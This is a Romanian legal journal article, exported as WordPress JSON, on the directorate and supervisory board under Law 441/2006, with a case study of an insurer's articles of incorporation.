{"id":472,"date":"2010-12-07T21:44:28","date_gmt":"2010-12-07T19:44:28","guid":{"rendered":"http:\/\/aafdutm.ro\/revista\/?p=472"},"modified":"2010-12-07T21:44:28","modified_gmt":"2010-12-07T19:44:28","slug":"administrarea-societatilor-comerciale-potrivit-sistemului-dualist","status":"publish","type":"post","link":"https:\/\/www.aafdutm.ro\/revista\/anul-ii\/administrarea-societatilor-comerciale-potrivit-sistemului-dualist\/","title":{"rendered":"ADMINISTRAREA SOCIET\u0102\u0162ILOR COMERCIALE POTRIVIT SISTEMULUI DUALIST"},"content":{"rendered":"<p><span style=\"color: #000000;\"><strong>INTRODUCERE<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong> <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Una dintre m\u0103surile legislative de absolut\u0103 noutate introduse pe scena dreptului rom\u00e2nesc privind societ\u0103\u0163ile comerciale, este posibilitatea administr\u0103rii acestora \u00een sistem dualist.\u00censcriindu-se pe linia recept\u0103rii si aplic\u0103rii principiilor guvern\u0103rii corporatiste adoptate de c\u0103tre O.C.E.D., legiuitorul rom\u00e2n, prin Legea nr. 441\/2006 de modificare a Legii nr. 31\/1990 privind societ\u0103\u0163ile comerciale, a reglementat modul de conducere si administrare a societ\u0103\u0163ilor comerciale pe baza a dou\u0103 sisteme, respectiv sistemul unitar, specific dreptului francez si al celor de inspira\u0163ie francez\u0103, inclusiv al dreptului rom\u00e2nesc, unicul sistem p\u00e2n\u0103 la adoptarea legii nr.441\/2006, \u00een care administrarea societ\u0103\u0163ilor comerciale, mai cu seam\u0103, a societ\u0103\u0163ilor pe ac\u0163iuni, revine unui consiliu de administra\u0163ie care poate delega atribu\u0163iile directorilor. Separat de sistemul unitar de administrare, legiuitorul rom\u00e2n, inspir\u00e2ndu-se din dreptul german, amenajeaz\u0103 \u00een Legea 441\/2006, cel de-al doilea sistem de administrare a societ\u0103\u0163ilor comerciale, respectiv sistemul dualist, specific societ\u0103\u0163ilor pe ac\u0163iuni, sistem care se bazeaz\u0103 pe dou\u0103 structuri (capete) diferite de conducere si administrare si anume: directoratul si consiliul de supraveghere. Administrarea societ\u0103\u0163ilor pe ac\u0163iuni de c\u00e2te un directorat si un consiliu de supraveghere r\u0103spunde distinc\u0163iei fundamentale \u00eentre func\u0163iile de conducere (direc\u0163iei) si cele de control ale directorilor. Astfel, potrivit art.143 din Legea nr. 31\/1990, republicat\u0103 si modificat\u0103, consiliul de administra\u0163ie poate delega conducerea societ\u0103\u0163ii unuia sau mai multor directori, numind pe unul dintre ei director general, fie c\u0103 acestia sunt dintre membrii consiliului de administra\u0163ie fie din afara consiliului.Prin reglementarea celor dou\u0103 sisteme de administrare a societ\u0103\u0163ilor comerciale pe ac\u0163iuni, legiuitorul creeaz\u0103 posibilitatea pentru asocia\u0163i s\u0103 opteze \u00eenc\u0103 din momentul constituirii societ\u0103\u0163ii, fie pentru sistemul unitar de administrare, fie pentru sistemul dualist. De altfel, potrivit art.294 din Legea nr. 441\/2006 si art. IV din O.U.G. nr. 82\/2007, societ\u0103tile pe actiuni \u00eenregistrate \u00een registrul comer\u0163ului la data intr\u0103rii \u00een vigoare a acestor reglement\u0103ri trebuie s\u0103 opteze pentru unul din sistemele de administrare prev\u0103zute de lege \u00een termen de 6 luni, iar p\u00e2n\u0103 la finalizarea demersurilor, societatea va putea func\u0163iona cu structura de administrare existent\u0103 la data intr\u0103rii \u00een vigoare a O.U.G. nr. 82\/2007. Tot ca dispozi\u0163ie cu caracter general, eviden\u0163iem art.153 alin.3 din legea nr.441\/2006, de modificare a legii nr.31\/1990, \u00een care legiuitorul prevede, printr-o norm\u0103 indirect\u0103, necesitatea efectu\u0103rii auditului financiar \u00een cazul societ\u0103\u0163ilor care au optat pentru sistemul dualist.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>DIRECTORATUL<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00cen cazul societ\u0103\u0163ilor care opteaz\u0103 pentru sistemul dualist, conducerea acesteia revine \u00een exclusivitate directoratului, care trebuie s\u0103 \u00eencheie actele necesare si utile realiz\u0103rii obiectului de activitate al societ\u0103\u0163ilor, cu excep\u0163ia celor care, potrivit voin\u0163ei asocia\u0163ilor sau care, potrivit legii, sunt un atribut al consiliului de supraveghere sau al adun\u0103rii generale a ac\u0163ionarilor.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Ca si \u00een cazul consiliului de administra\u0163ie, \u00een sistemul unic de administrare, directoratul poate fi format din unul sau mai mul\u0163i membri, num\u0103rul acestora fiind totdeauna impar. \u00cen ipoteza \u00een care, directoratul este constituit dintr-un singur membru, acesta poart\u0103 denumirea de director general unic.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Desemnarea unui singur membru al directoratului este interzis\u0103 \u00een cazul societ\u0103\u0163ilor pe ac\u0163iuni ale c\u0103ror situa\u0163ii financiare anuale fac obiectul unei obliga\u0163ii legale de auditare, pentru care, legiuitorul, \u00een art.1531 alin.5 din legea nr.31\/1990, republicat\u0103 si modificat\u0103, prevede c\u0103 directoratul trebuie s\u0103 fie format din cel pu\u0163in trei membri. Compar\u00e2nd dispozi\u0163iile cuprinse \u00een art.153 alin.3, art.1531 alin.5 si art.1601 din lege, observ\u0103m c\u0103, pe de o parte, legiuitorul prevede obligativitatea efectu\u0103rii auditului financiar \u00een toate societ\u0103\u0163ile pe ac\u0163iuni care opteaz\u0103 pentru sistemul dualist iar pe de alt\u0103 parte, num\u0103rul membrilor directoratului poate fi, dup\u0103 caz, unul sau minim 3, dup\u0103 cum societ\u0103\u0163ile sunt supuse obliga\u0163iei legale de auditare, indiferent c\u0103 opteaz\u0103 pentru sistemul unitar sau dualist de administrare sau c\u0103 aceast\u0103 obliga\u0163ie de auditare este o consecin\u0163\u0103 a faptului c\u0103 au optat pentru sistemul dualist.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Av\u00e2nd \u00een vedere conducerea si administrarea societ\u0103\u0163ii pe baza a dou\u0103 structuri cu rol diferit, directorat si consiliu de supraveghere, membrii directoratului nu pot fi \u00een acelasi timp membri ai consiliului de supraveghere, sistem care, si prin aceast\u0103 tr\u0103s\u0103tur\u0103, se deosebeste de sistemul unitar, \u00een care directorii pot fi numi\u0163i chiar dintre membrii consiliului de administra\u0163ie. Consiliul de supraveghere este \u00eendrept\u0103\u0163it, potrivit legii, s\u0103 desemneze componen\u0163a membrilor directoratului, atribuind unuia dintre ei, func\u0163ia de presedinte.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Totodat\u0103, revocarea membrilor directoratului se realizeaz\u0103 tot de c\u0103tre consiliul de supraveghere, potrivit principiului simetriei. Cu toate acestea, actul constitutiv poate s\u0103 prevad\u0103, c\u0103 revocarea membrilor directoratului se poate face prin hot\u0103r\u00e2rea adun\u0103rii generale ordinare a ac\u0163ionarilor.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Dac\u0103 legiuitorul prevede \u00een art. 15312 alin 4, posibilitatea revoc\u0103rii membrilor directoratului pe baza hot\u0103r\u00e2rii adun\u0103rii generale ordinare, este posibil ca acest lucru s\u0103 se hot\u0103rasc\u0103 si \u00een cadrul unei adun\u0103rii generale extraordinare, prin aplicarea regulii \u201ecine poate mai mult, poate si mai pu\u0163in\u201d, mai cu seam\u0103 c\u0103, \u00een discu\u0163ie se pune problema modific\u0103rii actului constitutiv, modificare care este de competen\u0163a adun\u0103rilor generale extraordinare. Cu privire la revocarea abuziv\u0103 sau \u201ef\u0103r\u0103 justa cauz\u0103\u201d, membrii directoratului sunt \u00eendrept\u0103\u0163i\u0163i s\u0103 solicite obligarea societ\u0103\u0163ii la plata daune\u2013 interese. \u00cen nici un caz membrii directoratului revoca\u0163i din func\u0163ie, chiar abuziv, nu pot ataca hot\u0103r\u00e2rea Adun\u0103rii Generale a Ac\u0163ionarilor sau decizia Consiliului de supraveghere privind revocarea lor din func\u0163ie.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Ra\u0163iunea pentru care legiuitorul a prev\u0103zut \u00een art. 132 imposibilitatea solicit\u0103rii anul\u0103rii AGA de c\u0103tre administratori sau directori este legat\u0103 de natura raporturilor juridice care exist\u0103 \u00eentre administratori (directorat) pe de o parte, si societatea comercial\u0103 pe de alt\u0103 parte, raporturi \u00eentemeiate pe contractul de mandat, a c\u0103rui tr\u0103s\u0103tur\u0103 esen\u0163ial\u0103 este caracterul \u201eintuitu personae\u201d, \u00eencrederea pe care o are societatea, respectiv asociatii, \u00een persoana sau persoanele desemnate s\u0103 conduc\u0103 si s\u0103 administreze patrimoniul societ\u0103\u0163ii. \u00cen m\u0103sura \u00een care aceast\u0103 \u00eencredere a disp\u0103rut, evident c\u0103, membrii directoratului pot fi revoca\u0163i prin voin\u0163a unilateral\u0103 a consiliului de supraveghere sau a Adun\u0103rii Generale a Ac\u0163ionarilor.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Drepturile si obliga\u0163iile membrilor directoratului sunt aceleasi ca si pentru membrii consiliului de administra\u0163ie. Dintre obliga\u0163iile principale ale membrilor directoratului sunt: obliga\u0163ia de loialitate, obliga\u0163ia de confiden\u0163ialitate, obliga\u0163ia de pruden\u0163\u0103 si obliga\u0163ia diligen\u0163\u0103, de profesionalism (manager) si, ca noutate a Legii nr.441\/2006, obliga\u0163ia de asigurare profesional\u0103 .<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Totodat\u0103, membrii directoratului ca, de altfel, administratorii societ\u0103\u0163ilor pe ac\u0163iuni nu pot avea calitatea de salariat (angajat) al societ\u0103\u0163ii pe perioada execut\u0103rii mandatului si dac\u0103 au avut acest statut, de salariat, p\u00e2n\u0103 \u00een momentul desemn\u0103rii si accept\u0103rii func\u0163iei respective, contractul de munc\u0103 \u00eenceteaz\u0103 (art.1371 alin 3 din Legea nr.441\/2006, coroborat cu O.U.G. nr. 82\/2007).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Directoratul reprezint\u0103 societatea \u00een rela\u0163iile cu ter\u0163ele persoane si \u00een justi\u0163ie, ac\u0163ion\u00e2nd de regul\u0103, \u00eempreun\u0103, exist\u00e2nd posibilitatea ca, prin acordul unanim al membrilor, unul dintre acestia s\u0103 fie \u00eemputernicit s\u0103 \u00eencheie anumite opera\u0163iuni sau tipuri de opera\u0163iuni. Oricum, membrii directoratului nu pot fi dec\u00e2t persoane fizice.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> <\/strong><strong>CONSILIUL DE SUPRAVEGHERE<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Consiliul de supraveghere execut\u0103 controlul activit\u0103\u0163ii de conducere a societ\u0103\u0163ii de c\u0103tre directorat, raport\u00e2nd adun\u0103rii generale a ac\u0163ionarilor, cel pu\u0163in o dat\u0103 pe an, cu privire la activitatea de supraveghere desf\u0103surat\u0103.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Componen\u0163a Consiliului de supraveghere este stabilit\u0103 prin actul constitutiv al societ\u0103\u0163ii sau, ulterior, de c\u0103tre Adunarea General\u0103 a Ac\u0163ionarilor.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Dac\u0103 \u00een privin\u0163a directoratului, membrii nu pot fi dec\u00e2t persoane fizice, \u00een schimb, \u00een structura Consiliului de supraveghere pot fi at\u00e2t persoane fizice c\u00e2t si juridice.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Num\u0103rul membrilor Consiliului de supraveghere poate fi de minim 3 p\u00e2n\u0103 la 11 membrii, fiind condus de un presedinte, ales de Consiliu, dintre membrii s\u0103i.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">At\u00e2t la nivelul Consiliului de Supraveghere c\u00e2t si la nivelul Consiliului de administra\u0163ie (\u00een sistemul unitar de administrare) pot fi constituite diferite Comitete consultative, \u00een domenii cum ar fi: auditul, remunerarea membrilor directoratului si ai consiliului de supraveghere si a personalului, sau nominalizarea de candida\u0163i pentru diferitele posturi de conducere.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> ASPECTE DE DREPT COMPARAT<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u00cen dreptul francez<a href=\"#_ftn1\">[1]<\/a> formula directoratului si a consiliului de supraveghere reprezint\u0103 o \u201eimita\u0163ie\u201d a dreptului german referitor la societ\u0103\u0163ile anonime, care distinge \u00eentre Vorstand si Aufsichtsrat. Legea francez\u0103 din 1966 a avut \u00een vedere separarea conducerii (direc\u0163iei) asumat\u0103 de directorat si controlul \u00eencredin\u0163at consiliului de supraveghere . Condi\u0163iile mai usoare (suple) de acces la directorat au creat posibilitatea pentru persoane care nu aveau calitatea de ac\u0163ionari de a intra \u00een societate ca manageri.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Totusi, sistemul dualist de administrare a societ\u0103\u0163ilor anonime pe ac\u0163iuni nu a \u00eenregistrat un succes r\u0103sun\u0103tor, statistica \u00eenregistr\u00e2nd \u00een anul 2002 doar 4% din totalul societ\u0103\u0163ilor care au optat pentru directorat si consiliu de supraveghere. Aspectele noi, moderne ale sistemului dualist, nu au dat rezultatele scontate deoarece, structura sistemului dualist nu este convenabil\u0103.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Pe de o parte, sistemul dualist nu este convenabil din cauza caracterului colegial al directoratului dificil de conciliat cu ideea de unitate \u00een privin\u0163a deciziilor iar pe de alt\u0103 parte datorit\u0103 formalismului impus de existen\u0163a a dou\u0103 categorii de organe. Cu toate acestea, sistemul dualist de conducere si administrare reprezint\u0103 o aplicare a principiilor guvern\u0103rii corporatiste a \u00eentreprinderilor uneori cu avantaje pe plan financiar si mai cu seam\u0103, \u00een cazul societ\u0103\u0163ilor anonime de tip nou.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Sintetiz\u00e2nd avantajele sistemului dualist de conducere si administrare, \u00een dreptul francez<a href=\"#_ftn2\">[2]<\/a> pot fi re\u0163inute urm\u0103toarele: sistemul nou, modern are \u00een vedere separarea func\u0163iilor de direc\u0163ii de cele de control; asigur\u0103 securitatea si stabilitatea func\u0163iilor membrilor directoratului care, \u00een dreptul francez, pot \u00eencheia un contract de munc\u0103 cu societatea; membrii directoratului nu pot fi revoca\u0163i dec\u00e2t de adunarea general\u0103 a ac\u0163ionarilor; membrii directoratului pot fi alesi din afara ac\u0163ionariatului r\u0103spunderea membrilor consiliului de supraveghere este atenuat\u0103 deoarece, principala r\u0103spundere apar\u0163ine membrilor directoratului.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Studiu de caz<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>ACT CONSTITUTIV al S.C. \u201eGENERALI ASIGUR\u0102RI\u201c S.A.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong> <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Forma juridic\u0103, denumirea, sediul, durata societ\u0103\u0163ii<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Societatea comercial\u0103 <strong>\u201eGENERALI ASIGUR\u0102RI\u201c S.A.<\/strong>, societate de asigur\u0103ri, este persoana juridic\u0103 rom\u00e2n\u0103, infiin\u0163at\u0103 cu capital social rom\u00e2n \u015fi str\u0103in, sub forma juridic\u0103 de societate pe ac\u0163iuni. Activitatea societ\u0103\u0163ii se desf\u0103\u015foar\u0103 \u00een conformitate cu legisla\u0163ia rom\u00e2n\u0103 \u00een vigoare, \u00een particular cu Legea nr. 31\/1990 (legea privind societ\u0103\u0163iile comerciale), cu modificarile \u015fi complet\u0103rile ulterioare, Legea nr.32\/2000 (legea privind activitatea de asigurare \u015fi supravegherea asigur\u0103rilor), cu modific\u0103rile \u015fi completarile ulterioare, Legea 204\/2006 (legea privind pensiile facultative) \u015fi cu prezentul act constitutiv. Sediul societatii este \u00een Rom\u00e2nia, acesta putand fi schimbat \u00een conformitate cu prevederile legale \u00een vigoare. Societatea poate avea filiale precum \u015fi sedii secundare \u00een localit\u0103\u0163i din \u0163ar\u0103 \u015fi din str\u0103in\u0103tate. Societatea este \u00eenfiin\u0163at\u0103 pe o durata nelimitat\u0103.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Obiectul de activitate<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Domeniul principal de activitate al Societ\u0103\u0163ii este \u201eActivit\u0103\u0163i de asigur\u0103ri \u015fi ale caselor de pensii (cu excep\u0163ia celor din sistemul public de asigur\u0103ri sociale) \u2013 Cod CAEN 660\u201c<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Obiectul principal de activitate al Societ\u0103\u0163ii este \u201eActivit\u0103\u0163i de asigur\u0103ri de via\u0163\u0103 \u2013 Cod CAEN 6601\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Obiectul secundar de activitate este format din:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211; Alte activit\u0103\u0163i de asigur\u0103ri Cod CAEN 6603;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211; Activit\u0103\u0163i ale caselor de pensii (cu excep\u0163ia celor din sistemul public \u015fi de asigur\u0103ri sociale) \u2013 Cod CAEN 6602;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">&#8211; Activit\u0103\u0163i auxiliare ale caselor de asigur\u0103ri \u015fi de pensii \u2013 Cod CAEN 6720.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Activitatea societ\u0103\u0163ii se poate desf\u0103\u015fura \u00een Rom\u00e2nia sau \u00een str\u0103in\u0103tate, \u00een lei sau \u00een valut\u0103, prin practicarea claselor de asigur\u0103ri prev\u0103zute de Legea nr. 32\/2000 cu modific\u0103rile \u015fi complet\u0103rile ulterioare \u015fi de Legea 204\/2006 privind pensiile facultative. Societatea va desf\u0103\u015fura obiectul de activitate sus-men\u0163ionat cu respectarea legisla\u0163iei \u00een vigoare \u015fi numai dup\u0103 ob\u0163inerea \u00een prealabil a autoriz\u0103rii Comisei de Supraveghere a Asigur\u0103rilor respectiv a Comisiei de Supraveghere a Sistemului de Pensii Private pentru fiecare clas\u0103 de asigur\u0103ri \u00een parte. Societatea va putea s\u0103 participe \u00een calitate de ac\u0163ionar\/asociat\/membru \u00een cadrul altor societ\u0103\u0163i, organiza\u0163ii sau persoane juridice, rom\u00e2ne sau str\u0103ine \u015fi va putea s\u0103 dob\u00e2ndeasc\u0103 ac\u0163iuni respectiv p\u0103r\u0163i sociale de interes \u00een cadrul altor societ\u0103\u0163i, organiza\u0163ii sau persoane juridice, rom\u00e2ne sau str\u0103ine, \u00een special \u00een cadrul altor societ\u0103\u0163i de asigur\u0103ri, de pensii \u015fi de finan\u0163are. \u00cen vederea realiz\u0103rii obiectului de activitate, societatea va putea s\u0103 desf\u0103\u015foare activit\u0103\u0163i de dezvoltare \u015fi modernizare a unit\u0103\u0163ilor existente \u015fi de investi\u0163ii \u00een mijloace fixe, precum \u015fi s\u0103 efectueze toate opera\u0163iunile necesare pentru a \u00eendeplini scopul societ\u0103\u0163ii \u00een conformitate cu legisla\u0163ia \u00een vigoare.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Capital social, actiuni<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Capitalul social subscris \u015fi v\u0103rsat este \u00een valoare total\u0103 de 120.000.000 Lei, din care 119.762.605,5 Lei \u015fi 897.600 USD. Aportul \u00een numerar este de 119.990.255,2693 Lei, din care 119.749.654,5 Lei \u015fi 842.655 USD. Aportul \u00een natur\u0103 este de 9.744,7307 Lei, din care 6.475,50 lei \u015fi 54.945 USD.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Capitalul social este \u00eemp\u0103r\u0163it \u00een 1.200.000.000 ac\u0163iuni, exclusiv nominative, fiecare ac\u0163iune av\u00e2nd o valoare nominal\u0103 de 0,10 Lei.Ac\u0163iunile societ\u0103\u0163ii S.C. GENERALI ASIGUR\u0102RI S.A. sunt indivizibile \u015fi confer\u0103 posesorilor drepturi egale. Ac\u0163iunile vor fi emise \u00een form\u0103 dematerializat\u0103 prin \u00eenscriere \u00een registrul ac\u0163ionarilor, care se va \u0163ine la sediul societ\u0103\u0163ii. La cerere societatea va elibera ac\u0163ionarilor certificate de ac\u0163ionar, care vor cuprinde toate datele prev\u0103zute de lege.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Obliga\u0163iile societ\u0103\u0163ii sunt garantate cu capitalul social al acesteia, iar ac\u0163ionarii r\u0103spund \u00een limita valorii ac\u0163iunilor ce le de\u0163in. Patrimoniul societ\u0103\u0163ii nu poate fi grevat de datorii sau alte obliga\u0163ii personale ale ac\u0163ioanarilor. Ac\u0163ionarii societ\u0103\u0163ii particip\u0103 at\u00e2t la profiturile c\u00e2t \u015fi la pierderile realizate de societate propor\u0163ional cu ac\u0163iunile respectiv cota de participare pe care o de\u0163in. Transferul dreptului de proprietate de c\u0103tre un ac\u0163ionar a unei ac\u0163iuni, a mai multor ac\u0163iuni sau a tuturor ac\u0163iunilor detinute \u00een societate poate fi f\u0103cut doar cu informarea prealabil\u0103 a Directoratului. Transferul dreptului de proprietate asupra ac\u0163iunilor c\u0103tre ter\u0163i competitori de pe pia\u0163a asigur\u0103rilor \u015fi\/sau a pensiilor private este interzis\u0103, cu excep\u0163ia cazului \u00een care adunarea general\u0103 a ac\u0163ionarilor aprob\u0103 sau ratific\u0103 un astfel de transfer.Dreptul de proprietate asupra ac\u0163iunilor se transmite printr-o declara\u0163ie f\u0103cut\u0103 \u00een registrul ac\u0163ionarilor, semnat\u0103 de pre\u015fedintele \u015fi de un alt membru al Directoratului.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Majorarea sau reducerea capitalului social<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Capitalul social poate fi majorat \u00een baza hot\u0103r\u00e2rii Directoratului, \u00een condi\u0163iile \u015fi cu respectarea procedurii prev\u0103zute de lege.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Capitalul social nu va putea fi majorat \u015fi nu se vor putea emite noi ac\u0163iuni p\u00e2n\u0103 c\u00e2nd nu vor fi fost complet pl\u0103tite cele din emisiunea precendent\u0103. \u00cen cazul unei major\u0103ri a capitalului social, ac\u0163ionarii au drept de preferin\u0163\u0103 asupra ac\u0163iunilor nou emise. Ac\u0163ionarii i\u015fi pot exercita acest drept \u00een termen de 30 de zile de la data public\u0103rii hot\u0103r\u00e2rii de majorare a capitalului social \u00een Monitorul Oficial al Rom\u00e2niei, Partea a IV-a. Capitalul social poate fi redus numai \u00een baza hot\u0103r\u00e2rii adun\u0103rii generale extraordinare a ac\u0163ionarilor, \u00een condi\u0163iile \u015fi cu respectarea procedurii prev\u0103zute de lege. Reducerea capitalul social poate fi facut\u0103 numai p\u00e2n\u0103 la minimul capitalului social fixat de lege.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Adun\u0103rile generale<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Adun\u0103rile generale vor fi ordinare sau extraordinare, vor fi convocate de c\u0103tre Directorat de fiecare dat\u0103 c\u00e2nd este necesar \u015fi se vor \u0163ine la sediul societ\u0103\u0163ii sau la locul care va fi indicat \u00een convocare. Convocarea va fi publicat\u0103 \u00een Monitorul Oficial al Romaniei, Partea a IV \u015fi \u00een unul dintre ziarele de larg\u0103 r\u0103sp\u00e2ndire din localitatea \u00een care se afl\u0103 sediul societ\u0103\u0163ii, cu cel pu\u0163in30 de zile \u00eenainte de \u00eentrunirea adun\u0103rii generale. Termenul de \u00eentrunire nu poate fi mai mic de 30 de zile de la publicarea convoc\u0103rii \u00een Monitorul Oficial al Rom\u00e2niei. Ac\u0163ionarii str\u0103ini vor fi convoca\u0163i prin scrisoare transmis\u0103 pe cale electronic\u0103 (telefax sau e-mail) la adresa \u00eenscris\u0103 \u00een registrul actionarilor, av\u00e2nd incorporat\u0103, ata\u015fat\u0103 sau logic asociat\u0103 semnatura electronic\u0103 extins\u0103. De asemenea convocarea, precum \u015fi celelalte documente prev\u0103zute de lege, acolo unde este cazul, vor fi publicate pe pagina de internet a societ\u0103\u0163ii.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Administra\u0163ia societ\u0103\u0163ii<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Societatea va fi administrat\u0103 \u00een sistem dualist, de c\u0103tre un Directorat \u015fi un Consiliu de Supraveghere, \u00een conformitate cu prevederiile legale aferente \u015fi cu prezentul act constitutiv.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Directoratul<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Societatea va fi administrat\u0103, condus\u0103 \u015fi reprezentat\u0103 \u00een exclusivitate de c\u0103tre un Directorat, care \u00eendepline\u015fte toate actele necesare \u015fi utile pentru realizarea obiectului de activitate al societ\u0103\u0163ii, cu excep\u0163ia celor rezervate de lege \u00een sarcina Consiliului de Supraveghere \u015fi a adun\u0103rii generale. Directoratul este format din cel pu\u0163in trei membri, num\u0103rul acestora fiind totdeauna impar. Membrii directoratului vor fi desemna\u0163i de c\u0103tre Consiliul de Supraveghere, pentru o durat\u0103 de patru ani. Consiliul de Supraveghere va atribui unuia dintre ei func\u0163ia de pre\u015fedinte al Directoratului. Membrii Directoratului pot fi revoca\u0163i oric\u00e2nd de catre Consiliul de Supraveghere. \u00cen cazul \u00een care revocarea survine f\u0103r\u0103 just\u0103 cauz\u0103, membrii Directoratului au dreptul la plata unor daune \u2013 interese.Directoratul \u00eenregistreaz\u0103 la Registrul Comer\u0163ului numele membrilor s\u0103i precum \u015fi a oric\u0103rei schimb\u0103ri \u00een persoana acestora. Ace\u015ftia vor depune la Registrul Comer\u0163ului specimene de semn\u0103tur\u0103. Societatea va fi reprezentat\u0103 \u00een raport cu ter\u0163ii \u015fi \u00een justi\u0163ie de c\u00e2te doi membrii ai Directoratului care vor ac\u0163iona \u00eempreun\u0103. \u00cen cazurile \u00een care este necesar un act scris, reprezentarea societ\u0103\u0163ii se exercit\u0103, de aemenea, cu semn\u0103tura a doi membrii ai Directoratului. Directoratul i\u015fi va exercita atribu\u0163iile sub controlul Consiliului de Supraveghere. O dat\u0103 la trei luni Directoratul prezint\u0103 Consiliului de Supraveghere un raport scris cu privire la conducerea societ\u0103\u0163ii, cu privire la activitatea acesteia \u015fi la posibila sa evolu\u0163ie. De altfel, Directoratul va comunica \u00een timp util Consiliului de Supraveghere orice informa\u0163ie cu privire la evenimentele ce ar putea avea o influen\u0163\u0103 semnificativ\u0103 asupra situa\u0163iei societ\u0103\u0163ii. Directoratul va \u00eenainta Consiliului de Supraveghere situa\u0163iile financiare anuale precum \u015fi raportul s\u0103u anual; \u00cen acela\u015fi timp, Directoratul va \u00eenainta Consiliului de Supraveghere propunerea sa detaliat\u0103 referitoare la distribuirea profitului rezultat din bilan\u0163ul exerci\u0163iului financiar, pe care inten\u0163ioneaz\u0103 s\u0103 o prezinte adun\u0103rii generale.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Consiliul de Supraveghere<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Consiliul de Supraveghere va fi compus din 3 sau 5 membrii, care vor fi numi\u0163i de c\u0103tre adunarea generala a ac\u0163ionarilor pentru o durat\u0103 de cel mult 4 ani. Membrii Consiliului de Supraveghere sunt reeligibili. Consiliul de Supraveghere alege dintre membrii s\u0103i un pre\u015fedinte al Consiliului.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: 